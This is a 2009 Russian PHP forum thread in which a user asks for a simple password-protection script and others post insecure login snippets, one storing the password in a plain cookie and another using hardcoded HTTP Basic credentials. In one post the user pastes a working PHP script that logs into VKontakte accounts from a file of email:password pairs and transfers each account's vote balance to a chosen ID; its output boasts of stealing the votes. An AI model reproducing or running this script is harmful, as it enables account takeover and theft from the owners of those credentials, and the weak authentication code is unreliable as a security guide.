Простейший скрипт авторизации без mysql

Discussion in 'PHP' started by selevit, 26 Sep 2009.

  1. selevit

    selevit Banned

    Joined:
    19 Aug 2009
    Messages:
    95
    Likes Received:
    9
    Reputations:
    -3
    Всем доброго времени суток, нужен самый простой скрипт авторизации на пхп без БД, чтобы доступ к странице имел только я.

    Заранее спасибо!!!
     
  2. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
  3. selevit

    selevit Banned

    Joined:
    19 Aug 2009
    Messages:
    95
    Likes Received:
    9
    Reputations:
    -3
    у меня не работает, выдает просто пустой экран, можно обычный скрипт авторизации с обычной формой, без каких - либо access.php?
     
  4. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    PHP:
    <?php
    session_start
    ();
    //-----------------//
    $login 'xackep';          // Логин
    $password 'qwerty';      // Пароль
    //-----------------//

    if (($_COOKIE['login'] == $login) && ($_COOKIE['password'] == $password) || ($_SESSION['password'] == md5($login.':'.$password)))
     {
      echo 
    '<script>alert(\'Вы уже авторизированны\')</script>';
     }
     else
     {
      echo 
    '<html>
             <head>
              <title>Авторизация</title>
             </head>
              <body>         
               <form name="autorization"  action="" method="POST">
                Логин:&nbsp;<input type="text" name="login"><br>
                Пароль:&nbsp;<input type="password" name="password"><br>
                Запомнить&nbsp;<input type=checkbox name="save_cookie" value=1>&nbsp;?<p>
                <input type="submit" name="data" value="Вход">
               </form>
              </body>
             </html>'
    ;
      if((
    $_POST['login']) && ($_POST['password']))
       {
      if((
    trim($_POST['login']) == $login) && (trim($_POST['password']) == $password))
       {
        if(!
    $_POST['save_cookie'])
         {
          
    $_SESSION['password'] = md5($login.':'.$password);
          echo 
    '<script>alert(\'Вы авторизированны! (сессия)\')</script>';
         }
         else
         {
          
    setcookie("login",$login);
          
    setcookie("login",$password);
          echo 
    '<script>alert(\'Вы авторизированны! (куки)\')</script>';
         }
       }
       else
       {
        echo 
    '<script>alert(\'Логин или пароль не верны!\')</script>';
       }
      } 
      else
      {
       if((!
    $_POST['login']) && (!$_POST['password'])) 
       {
       }
       else
       {
       echo 
    '<script>alert(\'Введите все значения!\')</script>';
       }
      }
      }
      
    /* geforse.name */
    ?>
    "Авторизация на скорую руку" :)
    Сохраняет cookie, либо session
    *Советую ещё добавить проверку на спец.символы
     
  5. selevit

    selevit Banned

    Joined:
    19 Aug 2009
    Messages:
    95
    Likes Received:
    9
    Reputations:
    -3
    на денвере работает, на хостинге нет, т.е там php 4. можно что то типа вот этого

    [​IMG]

    на php4.

    Заранее спасибо!
     
  6. LolFEm

    LolFEm Elder - Старейшина

    Joined:
    8 Sep 2006
    Messages:
    160
    Likes Received:
    52
    Reputations:
    5
  7. selevit

    selevit Banned

    Joined:
    19 Aug 2009
    Messages:
    95
    Likes Received:
    9
    Reputations:
    -3
    пишет ошибку 500.
     
  8. selevit

    selevit Banned

    Joined:
    19 Aug 2009
    Messages:
    95
    Likes Received:
    9
    Reputations:
    -3
    вот, что я хочу, впринципе, у меня есть скрипт

    PHP:
    <?php
    set_time_limit
    (0);
    error_reporting(1);
    $to "АЙДИ НА КОТОРЫЙ ПЕРЕДАВАТЬ ГОЛОСА"// vote to id

    function curl($url,$post)
    {
    //echo "$url | $post <br>\n";
    $cfile 'cookies.txt';
    $ch curl_init();
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    curl_setopt($chCURLOPT_URL$url);
    curl_setopt($chCURLOPT_HEADER0);
    curl_setopt($chCURLOPT_POSTFIELDS$post);
    curl_setopt($chCURLOPT_COOKIEJAR$cfile);
    curl_setopt($chCURLOPT_COOKIEFILE$cfile);
    curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue);
    curl_setopt($chCURLOPT_POST1);
    $result curl_exec($ch);
    curl_close($ch);
    return 
    $result;
    };
    function 
    transfer_vote($email,$pass,$to){
    $result curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
    $result curl("http://vkontakte.ru/app614422","");
    preg_match("/viewer_id\", \"(.*?)\"/i"$result$user_id);
    preg_match("/balance = (.*?);/i"$result$vote);
    preg_match("/join(.*?)'>/i"$result$appsl);
    preg_match("/app_id = (.*?);/i"$result$app_id);
    preg_match("/app_hash = '(.*?)';/i"$result$app_hash);
    preg_match("/auth_key\", \"(.*?)\"/i"$result$auth_key);
        if (
    $vote['1'] >= "1") {
        echo 
    "#Спиздили ".$vote['1']." VOTE...<br>";
        echo 
    "#Всё ok...<br>";
        }
        else {
        echo 
    "#Нету голосов на акке(<br>";
        }
    flush();
    @
    ob_flush();
    $result curl("http://vkontakte.ru/apps.php?act=a_settings","app_id=614422&app_hash=".$app_hash['1']."&cn=0&caf=0&caph=0&caa=0&add=".$vote['1']."&withdraw=0");
    $result curl("http://api.vkontakte.fi/votes.php?uid_from=".$user_id['1']."&uid_to=".$to."&votes=".$vote['1']."&auth=".$auth_key['1']);
    return 
    $result;
    }
    echo 
    "<style>body{background-color:#2B2F34;color:#C1C1C7;}input{color:#cccccc;b    order:1px solid #404040;background-color:#221;}red{color:#FF0000}</style> ";
    $is_aks is_file  ("votes.txt");
    if(
    $is_aks != 1){
        die(
    'Нету файла с аккаунтами! Создайте файл votes.txt с аккаунтами в виде email@mail.com:password');
    }
    $aks file("votes.txt"); // AC file, login:pass
    foreach($aks as $k => $v){
    $ak explode(":"trim($v));
    echo 
    "<b>--Логинимся--<br>E-mail:".$ak['0'].";password:".$ak['1']."<br>";
    $vote_res transfer_vote($ak['0'],$ak['1'],$to);
    echo 
    "------------------------------------------<br>";
    flush();
    @
    ob_flush();
    }
    ?>
    и файл с акками, так вот, если авторизации не будет, то любой может зайти и украсть мои акки или своровать голоса на свой id, мне надо поставить на этот скрипт защиту паролем. я в php почти ничего не понимаю, подскажите, как защитить скрипт, заранее спасибо!
     
  9. selevit

    selevit Banned

    Joined:
    19 Aug 2009
    Messages:
    95
    Likes Received:
    9
    Reputations:
    -3
    ВСЕ!!! разобрался - я подключил phpmyadmin, создал там таблицу с юзером, взял готовый скрипт авторизации и переделал его под свою БД. УРА!!!
     
    2 people like this.
  10. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
    Вот простейший пример.
    PHP:
    <?php
    $login_successful 
    false;
    // check user & pwd:
    if (isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW'])){
        
    $usr $_SERVER['PHP_AUTH_USER'];
        
    $pwd $_SERVER['PHP_AUTH_PW'];
        if (
    $usr == 'jonas' && $pwd == 'secret'){
            
    $login_successful true;
        }
    }
    // login ok?
    if (!$login_successful){
        
    // send 401 headers:
        // realm="something" will be shown in the login box
        
    header('WWW-Authenticate: Basic realm="Secret page"');
        
    header('HTTP/1.0 401 Unauthorized');
        print 
    "Login failed!n";
    }
    else {
        
    // show secret page:
        
    print 'you reached the secret page!';
    }
    ?>
     
    1 person likes this.